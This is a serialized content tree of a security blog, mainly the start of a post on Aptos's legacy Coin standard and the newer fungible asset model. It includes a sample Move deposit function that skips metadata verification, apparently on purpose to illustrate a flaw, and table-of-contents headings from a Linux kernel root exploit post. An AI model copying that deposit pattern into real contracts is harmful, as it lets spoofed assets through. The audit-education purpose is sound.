live.",{"type":23,"tag":2096,"props":60127,"children":60128},{},[60129],{"type":28,"value":2100},{"title":7,"searchDepth":370,"depth":370,"links":60131},[60132,60135,60138,60141,60142,60152,60160,60161],{"id":49818,"depth":370,"text":49821,"children":60133},[60134],{"id":49839,"depth":380,"text":49842},{"id":49882,"depth":370,"text":49882,"children":60136},[60137],{"id":49929,"depth":380,"text":49932},{"id":49987,"depth":370,"text":49990,"children":60139},[60140],{"id":51150,"depth":380,"text":51153},{"id":53025,"depth":370,"text":53028},{"id":53427,"depth":370,"text":53430,"children":60143},[60144,60145,60146,60148,60149,60150,60151],{"id":53454,"depth":380,"text":53457},{"id":54336,"depth":380,"text":54339},{"id":54921,"depth":380,"text":60147},"Leaking self pointer of nft_object",{"id":55319,"depth":380,"text":55322},{"id":55833,"depth":380,"text":55836},{"id":55963,"depth":380,"text":55620},{"id":56647,"depth":380,"text":56650},{"id":56670,"depth":370,"text":56673,"children":60153},[60154,60155,60156,60157,60159],{"id":56681,"depth":380,"text":56684},{"id":57539,"depth":380,"text":57542},{"id":57615,"depth":380,"text":57618},{"id":59240,"depth":380,"text":60158},"Overwriting modprobe_path",{"id":60057,"depth":380,"text":60060},{"id":60075,"depth":370,"text":60078},{"id":28180,"depth":370,"text":18185},"content:blog:2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day",{"_path":60166,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":60167,"description":60168,"image":60169,"date":60171,"isFeatured":18,"onBlogPage":18,"tags":60172,"body":60173,"_type":2117,"_id":66891,"_source":2119,"_file":66892,"_stem":66893,"_extension":2122},"/blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets","Hitchhiker's Guide to Aptos Fungible Assets","We take a deep dive into Aptos’ implementation of fungible assets, exploring the intricacies hidden within its functions, objects, and interactions. While the Fungible Asset model was designed to address the limitations and security flaws of the legacy Coin standard, it also introduced new challenges and vulnerabilities that developers should be aware of.",{"src":60170,"width":4640,"height":4641},"/posts/aptos-guide/title.png","2025-02-10",[5134],{"type":20,"children":60174,"toc":66875},[60175,60188,60193,60202,60208,60236,60309,60349,60383,60544,60563,60644,60684,60712,60729,60734,60742,60747,60753,60774,60854,60887,60895,60908,60913,61297,61302,61307,61313,61318,61330,61434,61472,61475,61493,61801,61806,61818,61824,61850,61871,61876,62055,62075,62081,62101,62113,62118,62124,62136,62199,62226,62250,62471,62474,62493,62603,62660,62796,62823,62829,62855,63099,63127,63429,63462,63476,63502,63535,63842,63854,64131,64145,64462,64481,64487,64519,64559,64660,64680,64800,64817,64891,64903,64991,65012,65018,65023,65028,65045,65066,65437,65496,65501,65952,65957,65993,65999,66011,66033,66059,66266,66280,66535,66547,66574,66725,66744,66774,66778,66789,66794,66807,66871],{"type":23,"tag":24,"props":60176,"children":60177},{},[60178,60180,60186],{"type":28,"value":60179},"Aptos’ fungible asset model is a complex component of its ecosystem, designed to address the limitations of its predecessor — the ",{"type":23,"tag":94,"props":60181,"children":60183},{"className":60182},[],[60184],{"type":28,"value":60185},"coin",{"type":28,"value":60187}," standard. While the new model aims to enhance functionality and security, it also comes with its own set of challenges.",{"type":23,"tag":24,"props":60189,"children":60190},{},[60191],{"type":28,"value":60192},"In this blog post, we'll closely examine Aptos's coin and fungible asset models, exploring their history and connection. We will examine key aspects of the fungible asset framework, including real-world examples of vulnerabilities that were identified and addressed, with the goal of improving security and reliability — all to help you build more secure and reliable applications.",{"type":23,"tag":60194,"props":60195,"children":60196},"important",{},[60197],{"type":23,"tag":24,"props":60198,"children":60199},{},[60200],{"type":28,"value":60201},"All issues mentioned were identified and addressed during Aptos' rigorous pre-release audits, demonstrating the project's dedication to delivering a robust and secure environment from day one.",{"type":23,"tag":61,"props":60203,"children":60205},{"id":60204},"aptos-coin-standard",[60206],{"type":28,"value":60207},"Aptos Coin standard",{"type":23,"tag":24,"props":60209,"children":60210},{},[60211,60213,60219,60221,60226,60227,60234],{"type":28,"value":60212},"In the beginning, Aptos used ",{"type":23,"tag":94,"props":60214,"children":60216},{"className":60215},[],[60217],{"type":28,"value":60218},"Coin",{"type":28,"value":60220},". It is still in use, although it is now considered \"legacy\". ",{"type":23,"tag":94,"props":60222,"children":60224},{"className":60223},[],[60225],{"type":28,"value":60218},{"type":28,"value":4756},{"type":23,"tag":31,"props":60228,"children":60231},{"href":60229,"rel":60230},"https://github.com/aptos-labs/aptos-core/blob/1381c93fd5a656f16fb326d4ffe371947554a330/aptos-move/framework/aptos-framework/sources/coin.move#L119-L123",[35],[60232],{"type":28,"value":60233},"defined",{"type":28,"value":60235}," in Aptos as follows:",{"type":23,"tag":304,"props":60237,"children":60239},{"className":2234,"code":60238,"language":2233,"meta":7,"style":7},"struct Coin\u003Cphantom CoinType> has store {\n value: u64,\n}\n",[60240],{"type":23,"tag":94,"props":60241,"children":60242},{"__ignoreMap":7},[60243,60282,60302],{"type":23,"tag":314,"props":60244,"children":60245},{"class":316,"line":317},[60246,60250,60254,60258,60262,60266,60270,60274,60278],{"type":23,"tag":314,"props":60247,"children":60248},{"style":321},[60249],{"type":28,"value":8651},{"type":23,"tag":314,"props":60251,"children":60252},{"style":2674},[60253],{"type":28,"value":5055},{"type":23,"tag":314,"props":60255,"children":60256},{"style":338},[60257],{"type":28,"value":5060},{"type":23,"tag":314,"props":60259,"children":60260},{"style":360},[60261],{"type":28,"value":5065},{"type":23,"tag":314,"props":60263,"children":60264},{"style":2674},[60265],{"type":28,"value":5070},{"type":23,"tag":314,"props":60267,"children":60268},{"style":338},[60269],{"type":28,"value":5075},{"type":23,"tag":314,"props":60271,"children":60272},{"style":360},[60273],{"type":28,"value":5080},{"type":23,"tag":314,"props":60275,"children":60276},{"style":360},[60277],{"type":28,"value":5085},{"type":23,"tag":314,"props":60279,"children":60280},{"style":338},[60281],{"type":28,"value":1449},{"type":23,"tag":314,"props":60283,"children":60284},{"class":316,"line":370},[60285,60290,60294,60298],{"type":23,"tag":314,"props":60286,"children":60287},{"style":360},[60288],{"type":28,"value":60289}," value",{"type":23,"tag":314,"props":60291,"children":60292},{"style":354},[60293],{"type":28,"value":3746},{"type":23,"tag":314,"props":60295,"children":60296},{"style":2674},[60297],{"type":28,"value":5114},{"type":23,"tag":314,"props":60299,"children":60300},{"style":338},[60301],{"type":28,"value":1870},{"type":23,"tag":314,"props":60303,"children":60304},{"class":316,"line":380},[60305],{"type":23,"tag":314,"props":60306,"children":60307},{"style":338},[60308],{"type":28,"value":386},{"type":23,"tag":24,"props":60310,"children":60311},{},[60312,60314,60319,60321,60327,60328,60334,60336,60341,60343,60348],{"type":28,"value":60313},"Aptos distinguishes coins by their type (",{"type":23,"tag":94,"props":60315,"children":60317},{"className":60316},[],[60318],{"type":28,"value":5839},{"type":28,"value":60320},") at compile time. For example, ",{"type":23,"tag":94,"props":60322,"children":60324},{"className":60323},[],[60325],{"type":28,"value":60326},"Coin\u003COtter>",{"type":28,"value":557},{"type":23,"tag":94,"props":60329,"children":60331},{"className":60330},[],[60332],{"type":28,"value":60333},"Coin\u003CWeasel>",{"type":28,"value":60335}," represent different coins, and you cannot pass a ",{"type":23,"tag":94,"props":60337,"children":60339},{"className":60338},[],[60340],{"type":28,"value":60333},{"type":28,"value":60342}," to a function expecting ",{"type":23,"tag":94,"props":60344,"children":60346},{"className":60345},[],[60347],{"type":28,"value":60326},{"type":28,"value":282},{"type":23,"tag":24,"props":60350,"children":60351},{},[60352,60354,60359,60361,60366,60368,60373,60375,60381],{"type":28,"value":60353},"The type signature reveals why ",{"type":23,"tag":94,"props":60355,"children":60357},{"className":60356},[],[60358],{"type":28,"value":60218},{"type":28,"value":60360}," has become a legacy standard. ",{"type":23,"tag":94,"props":60362,"children":60364},{"className":60363},[],[60365],{"type":28,"value":60218},{"type":28,"value":60367}," has only the ",{"type":23,"tag":94,"props":60369,"children":60371},{"className":60370},[],[60372],{"type":28,"value":5195},{"type":28,"value":60374}," ability and uses a ",{"type":23,"tag":94,"props":60376,"children":60378},{"className":60377},[],[60379],{"type":28,"value":60380},"CoinStore",{"type":28,"value":60382}," wrapper to store the coin and metadata:",{"type":23,"tag":304,"props":60384,"children":60386},{"className":2234,"code":60385,"language":2233,"meta":7,"style":7},"struct CoinStore\u003Cphantom CoinType> has key {\n coin: Coin\u003CCoinType>,\n frozen: bool,\n deposit_events: EventHandle\u003CDepositEvent>,\n withdraw_events: EventHandle\u003CWithdrawEvent>,\n}\n",[60387],{"type":23,"tag":94,"props":60388,"children":60389},{"__ignoreMap":7},[60390,60430,60458,60478,60508,60537],{"type":23,"tag":314,"props":60391,"children":60392},{"class":316,"line":317},[60393,60397,60402,60406,60410,60414,60418,60422,60426],{"type":23,"tag":314,"props":60394,"children":60395},{"style":321},[60396],{"type":28,"value":8651},{"type":23,"tag":314,"props":60398,"children":60399},{"style":2674},[60400],{"type":28,"value":60401}," CoinStore",{"type":23,"tag":314,"props":60403,"children":60404},{"style":338},[60405],{"type":28,"value":5060},{"type":23,"tag":314,"props":60407,"children":60408},{"style":360},[60409],{"type":28,"value":5065},{"type":23,"tag":314,"props":60411,"children":60412},{"style":2674},[60413],{"type":28,"value":5070},{"type":23,"tag":314,"props":60415,"children":60416},{"style":338},[60417],{"type":28,"value":5075},{"type":23,"tag":314,"props":60419,"children":60420},{"style":360},[60421],{"type":28,"value":5080},{"type":23,"tag":314,"props":60423,"children":60424},{"style":360},[60425],{"type":28,"value":5186},{"type":23,"tag":314,"props":60427,"children":60428},{"style":338},[60429],{"type":28,"value":1449},{"type":23,"tag":314,"props":60431,"children":60432},{"class":316,"line":370},[60433,60438,60442,60446,60450,60454],{"type":23,"tag":314,"props":60434,"children":60435},{"style":360},[60436],{"type":28,"value":60437}," coin",{"type":23,"tag":314,"props":60439,"children":60440},{"style":354},[60441],{"type":28,"value":3746},{"type":23,"tag":314,"props":60443,"children":60444},{"style":2674},[60445],{"type":28,"value":5055},{"type":23,"tag":314,"props":60447,"children":60448},{"style":338},[60449],{"type":28,"value":5060},{"type":23,"tag":314,"props":60451,"children":60452},{"style":2674},[60453],{"type":28,"value":5839},{"type":23,"tag":314,"props":60455,"children":60456},{"style":338},[60457],{"type":28,"value":5393},{"type":23,"tag":314,"props":60459,"children":60460},{"class":316,"line":380},[60461,60466,60470,60474],{"type":23,"tag":314,"props":60462,"children":60463},{"style":360},[60464],{"type":28,"value":60465}," frozen",{"type":23,"tag":314,"props":60467,"children":60468},{"style":354},[60469],{"type":28,"value":3746},{"type":23,"tag":314,"props":60471,"children":60472},{"style":2674},[60473],{"type":28,"value":11298},{"type":23,"tag":314,"props":60475,"children":60476},{"style":338},[60477],{"type":28,"value":1870},{"type":23,"tag":314,"props":60479,"children":60480},{"class":316,"line":1091},[60481,60486,60490,60495,60499,60504],{"type":23,"tag":314,"props":60482,"children":60483},{"style":360},[60484],{"type":28,"value":60485}," deposit_events",{"type":23,"tag":314,"props":60487,"children":60488},{"style":354},[60489],{"type":28,"value":3746},{"type":23,"tag":314,"props":60491,"children":60492},{"style":2674},[60493],{"type":28,"value":60494}," EventHandle",{"type":23,"tag":314,"props":60496,"children":60497},{"style":338},[60498],{"type":28,"value":5060},{"type":23,"tag":314,"props":60500,"children":60501},{"style":2674},[60502],{"type":28,"value":60503},"DepositEvent",{"type":23,"tag":314,"props":60505,"children":60506},{"style":338},[60507],{"type":28,"value":5393},{"type":23,"tag":314,"props":60509,"children":60510},{"class":316,"line":1141},[60511,60516,60520,60524,60528,60533],{"type":23,"tag":314,"props":60512,"children":60513},{"style":360},[60514],{"type":28,"value":60515}," withdraw_events",{"type":23,"tag":314,"props":60517,"children":60518},{"style":354},[60519],{"type":28,"value":3746},{"type":23,"tag":314,"props":60521,"children":60522},{"style":2674},[60523],{"type":28,"value":60494},{"type":23,"tag":314,"props":60525,"children":60526},{"style":338},[60527],{"type":28,"value":5060},{"type":23,"tag":314,"props":60529,"children":60530},{"style":2674},[60531],{"type":28,"value":60532},"WithdrawEvent",{"type":23,"tag":314,"props":60534,"children":60535},{"style":338},[60536],{"type":28,"value":5393},{"type":23,"tag":314,"props":60538,"children":60539},{"class":316,"line":1173},[60540],{"type":23,"tag":314,"props":60541,"children":60542},{"style":338},[60543],{"type":28,"value":386},{"type":23,"tag":24,"props":60545,"children":60546},{},[60547,60549,60554,60556,60561],{"type":28,"value":60548},"However, an astute reader would note that this isn't the only place a ",{"type":23,"tag":94,"props":60550,"children":60552},{"className":60551},[],[60553],{"type":28,"value":60218},{"type":28,"value":60555}," can be stored. You can create your own ",{"type":23,"tag":94,"props":60557,"children":60559},{"className":60558},[],[60560],{"type":28,"value":60218},{"type":28,"value":60562}," wallet, which could look like this:",{"type":23,"tag":304,"props":60564,"children":60566},{"className":2234,"code":60565,"language":2233,"meta":7,"style":7},"struct DefinitelyLegitCoinStore\u003Cphantom CoinType> has key {\n coin: Coin\u003CCoinType>\n}\n",[60567],{"type":23,"tag":94,"props":60568,"children":60569},{"__ignoreMap":7},[60570,60610,60637],{"type":23,"tag":314,"props":60571,"children":60572},{"class":316,"line":317},[60573,60577,60582,60586,60590,60594,60598,60602,60606],{"type":23,"tag":314,"props":60574,"children":60575},{"style":321},[60576],{"type":28,"value":8651},{"type":23,"tag":314,"props":60578,"children":60579},{"style":2674},[60580],{"type":28,"value":60581}," DefinitelyLegitCoinStore",{"type":23,"tag":314,"props":60583,"children":60584},{"style":338},[60585],{"type":28,"value":5060},{"type":23,"tag":314,"props":60587,"children":60588},{"style":360},[60589],{"type":28,"value":5065},{"type":23,"tag":314,"props":60591,"children":60592},{"style":2674},[60593],{"type":28,"value":5070},{"type":23,"tag":314,"props":60595,"children":60596},{"style":338},[60597],{"type":28,"value":5075},{"type":23,"tag":314,"props":60599,"children":60600},{"style":360},[60601],{"type":28,"value":5080},{"type":23,"tag":314,"props":60603,"children":60604},{"style":360},[60605],{"type":28,"value":5186},{"type":23,"tag":314,"props":60607,"children":60608},{"style":338},[60609],{"type":28,"value":1449},{"type":23,"tag":314,"props":60611,"children":60612},{"class":316,"line":370},[60613,60617,60621,60625,60629,60633],{"type":23,"tag":314,"props":60614,"children":60615},{"style":360},[60616],{"type":28,"value":60437},{"type":23,"tag":314,"props":60618,"children":60619},{"style":354},[60620],{"type":28,"value":3746},{"type":23,"tag":314,"props":60622,"children":60623},{"style":2674},[60624],{"type":28,"value":5055},{"type":23,"tag":314,"props":60626,"children":60627},{"style":338},[60628],{"type":28,"value":5060},{"type":23,"tag":314,"props":60630,"children":60631},{"style":2674},[60632],{"type":28,"value":5839},{"type":23,"tag":314,"props":60634,"children":60635},{"style":338},[60636],{"type":28,"value":5247},{"type":23,"tag":314,"props":60638,"children":60639},{"class":316,"line":380},[60640],{"type":23,"tag":314,"props":60641,"children":60642},{"style":338},[60643],{"type":28,"value":386},{"type":23,"tag":24,"props":60645,"children":60646},{},[60647,60652,60654,60660,60662,60667,60669,60675,60677,60682],{"type":23,"tag":94,"props":60648,"children":60650},{"className":60649},[],[60651],{"type":28,"value":60380},{"type":28,"value":60653}," includes a ",{"type":23,"tag":94,"props":60655,"children":60657},{"className":60656},[],[60658],{"type":28,"value":60659},"frozen",{"type":28,"value":60661}," field, allowing the issuer to block transfers to and from the store. ",{"type":23,"tag":94,"props":60663,"children":60665},{"className":60664},[],[60666],{"type":28,"value":60380},{"type":28,"value":60668}," is also required for a ",{"type":23,"tag":94,"props":60670,"children":60672},{"className":60671},[],[60673],{"type":28,"value":60674},"burn_from",{"type":28,"value":60676}," operation, which withdraws the ",{"type":23,"tag":94,"props":60678,"children":60680},{"className":60679},[],[60681],{"type":28,"value":60185},{"type":28,"value":60683}," from the store and destroys it. Freezing and burning operations are essential i.e. for stablecoin issuers, using them as compliance tools to prevent unauthorized or illegal transactions and adhere to legal orders. Being able to bypass these restrictions with a custom wallet is an issue and can lead to severe consequences.",{"type":23,"tag":24,"props":60685,"children":60686},{},[60687,60689,60694,60696,60703,60705,60710],{"type":28,"value":60688},"Storing ",{"type":23,"tag":94,"props":60690,"children":60692},{"className":60691},[],[60693],{"type":28,"value":60185},{"type":28,"value":60695}," in a custom wallet is also a problem in terms of off-chain observability, as finding the stored coins in such setup is a difficult task. This is how the fungible asset ",{"type":23,"tag":31,"props":60697,"children":60700},{"href":60698,"rel":60699},"https://github.com/aptos-foundation/AIPs/blob/ac3da48db226cf2dbaf4df6f1f5109a4f1b2e604/aips/aip-21.md",[35],[60701],{"type":28,"value":60702},"AIP-21",{"type":28,"value":60704}," summarizes the ",{"type":23,"tag":94,"props":60706,"children":60708},{"className":60707},[],[60709],{"type":28,"value":60185},{"type":28,"value":60711}," problems:",{"type":23,"tag":2186,"props":60713,"children":60714},{},[60715,60724],{"type":23,"tag":24,"props":60716,"children":60717},{},[60718,60722],{"type":23,"tag":314,"props":60719,"children":60720},{},[60721],{"type":28,"value":8840},{"type":28,"value":60723}," coin module has been deemed insufficient for current and future needs due to the rigidity of Move structs and the inherently poor extensibility.",{"type":23,"tag":24,"props":60725,"children":60726},{},[60727],{"type":28,"value":60728},"The existing Coin struct leverages the store ability allowing for assets on-chain to become untraceable. Creating challenges to off-chain observability and on-chain management, such as freezing or burning.",{"type":23,"tag":24,"props":60730,"children":60731},{},[60732],{"type":28,"value":60733},"And declares, that:",{"type":23,"tag":2186,"props":60735,"children":60736},{},[60737],{"type":23,"tag":24,"props":60738,"children":60739},{},[60740],{"type":28,"value":60741},"Fungible assets addresses these issues.",{"type":23,"tag":24,"props":60743,"children":60744},{},[60745],{"type":28,"value":60746},"Let's find out whether this is indeed the case.",{"type":23,"tag":61,"props":60748,"children":60750},{"id":60749},"the-fungible-assets",[60751],{"type":28,"value":60752},"The fungible assets",{"type":23,"tag":24,"props":60754,"children":60755},{},[60756,60758,60764,60766,60773],{"type":28,"value":60757},"Aptos designed fungible assets as a new token standard to solve these problems. A ",{"type":23,"tag":94,"props":60759,"children":60761},{"className":60760},[],[60762],{"type":28,"value":60763},"FungibleAsset",{"type":28,"value":60765}," uses the ",{"type":23,"tag":31,"props":60767,"children":60770},{"href":60768,"rel":60769},"https://medium.com/@borispovod/move-hot-potato-pattern-bbc48a48d93c",[35],[60771],{"type":28,"value":60772},"hot-potato pattern",{"type":28,"value":3746},{"type":23,"tag":304,"props":60775,"children":60777},{"className":2234,"code":60776,"language":2233,"meta":7,"style":7},"struct FungibleAsset {\n metadata: Object\u003CMetadata>,\n amount: u64,\n}\n",[60778],{"type":23,"tag":94,"props":60779,"children":60780},{"__ignoreMap":7},[60781,60797,60827,60847],{"type":23,"tag":314,"props":60782,"children":60783},{"class":316,"line":317},[60784,60788,60793],{"type":23,"tag":314,"props":60785,"children":60786},{"style":321},[60787],{"type":28,"value":8651},{"type":23,"tag":314,"props":60789,"children":60790},{"style":2674},[60791],{"type":28,"value":60792}," FungibleAsset",{"type":23,"tag":314,"props":60794,"children":60795},{"style":338},[60796],{"type":28,"value":1449},{"type":23,"tag":314,"props":60798,"children":60799},{"class":316,"line":370},[60800,60805,60809,60814,60818,60823],{"type":23,"tag":314,"props":60801,"children":60802},{"style":360},[60803],{"type":28,"value":60804}," metadata",{"type":23,"tag":314,"props":60806,"children":60807},{"style":354},[60808],{"type":28,"value":3746},{"type":23,"tag":314,"props":60810,"children":60811},{"style":2674},[60812],{"type":28,"value":60813}," Object",{"type":23,"tag":314,"props":60815,"children":60816},{"style":338},[60817],{"type":28,"value":5060},{"type":23,"tag":314,"props":60819,"children":60820},{"style":2674},[60821],{"type":28,"value":60822},"Metadata",{"type":23,"tag":314,"props":60824,"children":60825},{"style":338},[60826],{"type":28,"value":5393},{"type":23,"tag":314,"props":60828,"children":60829},{"class":316,"line":380},[60830,60835,60839,60843],{"type":23,"tag":314,"props":60831,"children":60832},{"style":360},[60833],{"type":28,"value":60834}," amount",{"type":23,"tag":314,"props":60836,"children":60837},{"style":354},[60838],{"type":28,"value":3746},{"type":23,"tag":314,"props":60840,"children":60841},{"style":2674},[60842],{"type":28,"value":5114},{"type":23,"tag":314,"props":60844,"children":60845},{"style":338},[60846],{"type":28,"value":1870},{"type":23,"tag":314,"props":60848,"children":60849},{"class":316,"line":1091},[60850],{"type":23,"tag":314,"props":60851,"children":60852},{"style":338},[60853],{"type":28,"value":386},{"type":23,"tag":24,"props":60855,"children":60856},{},[60857,60859,60864,60865,60870,60872,60877,60879,60886],{"type":28,"value":60858},"Unlike ",{"type":23,"tag":94,"props":60860,"children":60862},{"className":60861},[],[60863],{"type":28,"value":60218},{"type":28,"value":778},{"type":23,"tag":94,"props":60866,"children":60868},{"className":60867},[],[60869],{"type":28,"value":60763},{"type":28,"value":60871}," types are defined at runtime through the ",{"type":23,"tag":94,"props":60873,"children":60875},{"className":60874},[],[60876],{"type":28,"value":60822},{"type":28,"value":60878}," field. This change was meant to ",{"type":23,"tag":31,"props":60880,"children":60883},{"href":60881,"rel":60882},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-21.md#specification",[35],[60884],{"type":28,"value":60885},"enhance extensibility",{"type":28,"value":3746},{"type":23,"tag":2186,"props":60888,"children":60889},{},[60890],{"type":23,"tag":24,"props":60891,"children":60892},{},[60893],{"type":28,"value":60894},"An object can have other resources attached to provide additional context. For example, the metadata could define a gem of a given type, color, quality, and rarity, where ownership indicates the quantity or total weight owned of that type of gem.",{"type":23,"tag":24,"props":60896,"children":60897},{},[60898,60900,60906],{"type":28,"value":60899},"An important implication is that functions accepting ",{"type":23,"tag":94,"props":60901,"children":60903},{"className":60902},[],[60904],{"type":28,"value":60905},"FungibleAssets",{"type":28,"value":60907}," must verify the metadata to ensure valid assets.",{"type":23,"tag":24,"props":60909,"children":60910},{},[60911],{"type":28,"value":60912},"Let's consider a possible implementation of a protocol that takes in assets.",{"type":23,"tag":304,"props":60914,"children":60916},{"className":2234,"code":60915,"language":2233,"meta":7,"style":7},"public fun deposit\u003CT: key>(\n sender: &signer, fa: FungibleAsset\n) acquires [...] {\n assert_not_paused();\n \n let fa_amount = fungible_asset::amount(&fa);\n let sender_address = address_of(sender);\n check_compliance(fa_amount, sender_address);\n \n increase_deposit(get_vault(sender_address), fa_amount);\n \n primary_fungible_store::deposit(global_vault_address(), fa);\n \n event::emit(Deposit {sender_address, fa_amount})\n}\n",[60917],{"type":23,"tag":94,"props":60918,"children":60919},{"__ignoreMap":7},[60920,60957,60995,61019,61031,61039,61084,61118,61148,61155,61192,61199,61237,61244,61290],{"type":23,"tag":314,"props":60921,"children":60922},{"class":316,"line":317},[60923,60928,60932,60937,60941,60945,60949,60953],{"type":23,"tag":314,"props":60924,"children":60925},{"style":360},[60926],{"type":28,"value":60927},"public",{"type":23,"tag":314,"props":60929,"children":60930},{"style":360},[60931],{"type":28,"value":5462},{"type":23,"tag":314,"props":60933,"children":60934},{"style":360},[60935],{"type":28,"value":60936}," deposit",{"type":23,"tag":314,"props":60938,"children":60939},{"style":338},[60940],{"type":28,"value":5060},{"type":23,"tag":314,"props":60942,"children":60943},{"style":2674},[60944],{"type":28,"value":5242},{"type":23,"tag":314,"props":60946,"children":60947},{"style":354},[60948],{"type":28,"value":3746},{"type":23,"tag":314,"props":60950,"children":60951},{"style":360},[60952],{"type":28,"value":5186},{"type":23,"tag":314,"props":60954,"children":60955},{"style":338},[60956],{"type":28,"value":5844},{"type":23,"tag":314,"props":60958,"children":60959},{"class":316,"line":370},[60960,60965,60969,60973,60977,60981,60986,60990],{"type":23,"tag":314,"props":60961,"children":60962},{"style":360},[60963],{"type":28,"value":60964}," sender",{"type":23,"tag":314,"props":60966,"children":60967},{"style":354},[60968],{"type":28,"value":3746},{"type":23,"tag":314,"props":60970,"children":60971},{"style":354},[60972],{"type":28,"value":1968},{"type":23,"tag":314,"props":60974,"children":60975},{"style":360},[60976],{"type":28,"value":6401},{"type":23,"tag":314,"props":60978,"children":60979},{"style":338},[60980],{"type":28,"value":778},{"type":23,"tag":314,"props":60982,"children":60983},{"style":360},[60984],{"type":28,"value":60985},"fa",{"type":23,"tag":314,"props":60987,"children":60988},{"style":354},[60989],{"type":28,"value":3746},{"type":23,"tag":314,"props":60991,"children":60992},{"style":2674},[60993],{"type":28,"value":60994}," FungibleAsset\n",{"type":23,"tag":314,"props":60996,"children":60997},{"class":316,"line":380},[60998,61002,61006,61010,61014],{"type":23,"tag":314,"props":60999,"children":61000},{"style":338},[61001],{"type":28,"value":2343},{"type":23,"tag":314,"props":61003,"children":61004},{"style":360},[61005],{"type":28,"value":5599},{"type":23,"tag":314,"props":61007,"children":61008},{"style":338},[61009],{"type":28,"value":22270},{"type":23,"tag":314,"props":61011,"children":61012},{"style":354},[61013],{"type":28,"value":8840},{"type":23,"tag":314,"props":61015,"children":61016},{"style":338},[61017],{"type":28,"value":61018},"] {\n",{"type":23,"tag":314,"props":61020,"children":61021},{"class":316,"line":1091},[61022,61027],{"type":23,"tag":314,"props":61023,"children":61024},{"style":332},[61025],{"type":28,"value":61026}," assert_not_paused",{"type":23,"tag":314,"props":61028,"children":61029},{"style":338},[61030],{"type":28,"value":2926},{"type":23,"tag":314,"props":61032,"children":61033},{"class":316,"line":1141},[61034],{"type":23,"tag":314,"props":61035,"children":61036},{"style":338},[61037],{"type":28,"value":61038}," \n",{"type":23,"tag":314,"props":61040,"children":61041},{"class":316,"line":1173},[61042,61046,61051,61055,61060,61064,61068,61072,61076,61080],{"type":23,"tag":314,"props":61043,"children":61044},{"style":321},[61045],{"type":28,"value":2254},{"type":23,"tag":314,"props":61047,"children":61048},{"style":360},[61049],{"type":28,"value":61050}," fa_amount",{"type":23,"tag":314,"props":61052,"children":61053},{"style":354},[61054],{"type":28,"value":1237},{"type":23,"tag":314,"props":61056,"children":61057},{"style":338},[61058],{"type":28,"value":61059}," fungible_asset",{"type":23,"tag":314,"props":61061,"children":61062},{"style":354},[61063],{"type":28,"value":2737},{"type":23,"tag":314,"props":61065,"children":61066},{"style":332},[61067],{"type":28,"value":19544},{"type":23,"tag":314,"props":61069,"children":61070},{"style":338},[61071],{"type":28,"value":341},{"type":23,"tag":314,"props":61073,"children":61074},{"style":354},[61075],{"type":28,"value":1833},{"type":23,"tag":314,"props":61077,"children":61078},{"style":360},[61079],{"type":28,"value":60985},{"type":23,"tag":314,"props":61081,"children":61082},{"style":338},[61083],{"type":28,"value":1025},{"type":23,"tag":314,"props":61085,"children":61086},{"class":316,"line":1208},[61087,61091,61096,61100,61105,61109,61114],{"type":23,"tag":314,"props":61088,"children":61089},{"style":321},[61090],{"type":28,"value":2254},{"type":23,"tag":314,"props":61092,"children":61093},{"style":360},[61094],{"type":28,"value":61095}," sender_address",{"type":23,"tag":314,"props":61097,"children":61098},{"style":354},[61099],{"type":28,"value":1237},{"type":23,"tag":314,"props":61101,"children":61102},{"style":332},[61103],{"type":28,"value":61104}," address_of",{"type":23,"tag":314,"props":61106,"children":61107},{"style":338},[61108],{"type":28,"value":341},{"type":23,"tag":314,"props":61110,"children":61111},{"style":360},[61112],{"type":28,"value":61113},"sender",{"type":23,"tag":314,"props":61115,"children":61116},{"style":338},[61117],{"type":28,"value":1025},{"type":23,"tag":314,"props":61119,"children":61120},{"class":316,"line":1216},[61121,61126,61130,61135,61139,61144],{"type":23,"tag":314,"props":61122,"children":61123},{"style":332},[61124],{"type":28,"value":61125}," check_compliance",{"type":23,"tag":314,"props":61127,"children":61128},{"style":338},[61129],{"type":28,"value":341},{"type":23,"tag":314,"props":61131,"children":61132},{"style":360},[61133],{"type":28,"value":61134},"fa_amount",{"type":23,"tag":314,"props":61136,"children":61137},{"style":338},[61138],{"type":28,"value":778},{"type":23,"tag":314,"props":61140,"children":61141},{"style":360},[61142],{"type":28,"value":61143},"sender_address",{"type":23,"tag":314,"props":61145,"children":61146},{"style":338},[61147],{"type":28,"value":1025},{"type":23,"tag":314,"props":61149,"children":61150},{"class":316,"line":1301},[61151],{"type":23,"tag":314,"props":61152,"children":61153},{"style":338},[61154],{"type":28,"value":61038},{"type":23,"tag":314,"props":61156,"children":61157},{"class":316,"line":1343},[61158,61163,61167,61172,61176,61180,61184,61188],{"type":23,"tag":314,"props":61159,"children":61160},{"style":332},[61161],{"type":28,"value":61162}," increase_deposit",{"type":23,"tag":314,"props":61164,"children":61165},{"style":338},[61166],{"type":28,"value":341},{"type":23,"tag":314,"props":61168,"children":61169},{"style":332},[61170],{"type":28,"value":61171},"get_vault",{"type":23,"tag":314,"props":61173,"children":61174},{"style":338},[61175],{"type":28,"value":341},{"type":23,"tag":314,"props":61177,"children":61178},{"style":360},[61179],{"type":28,"value":61143},{"type":23,"tag":314,"props":61181,"children":61182},{"style":338},[61183],{"type":28,"value":14419},{"type":23,"tag":314,"props":61185,"children":61186},{"style":360},[61187],{"type":28,"value":61134},{"type":23,"tag":314,"props":61189,"children":61190},{"style":338},[61191],{"type":28,"value":1025},{"type":23,"tag":314,"props":61193,"children":61194},{"class":316,"line":1351},[61195],{"type":23,"tag":314,"props":61196,"children":61197},{"style":338},[61198],{"type":28,"value":61038},{"type":23,"tag":314,"props":61200,"children":61201},{"class":316,"line":1387},[61202,61207,61211,61216,61220,61225,61229,61233],{"type":23,"tag":314,"props":61203,"children":61204},{"style":338},[61205],{"type":28,"value":61206}," 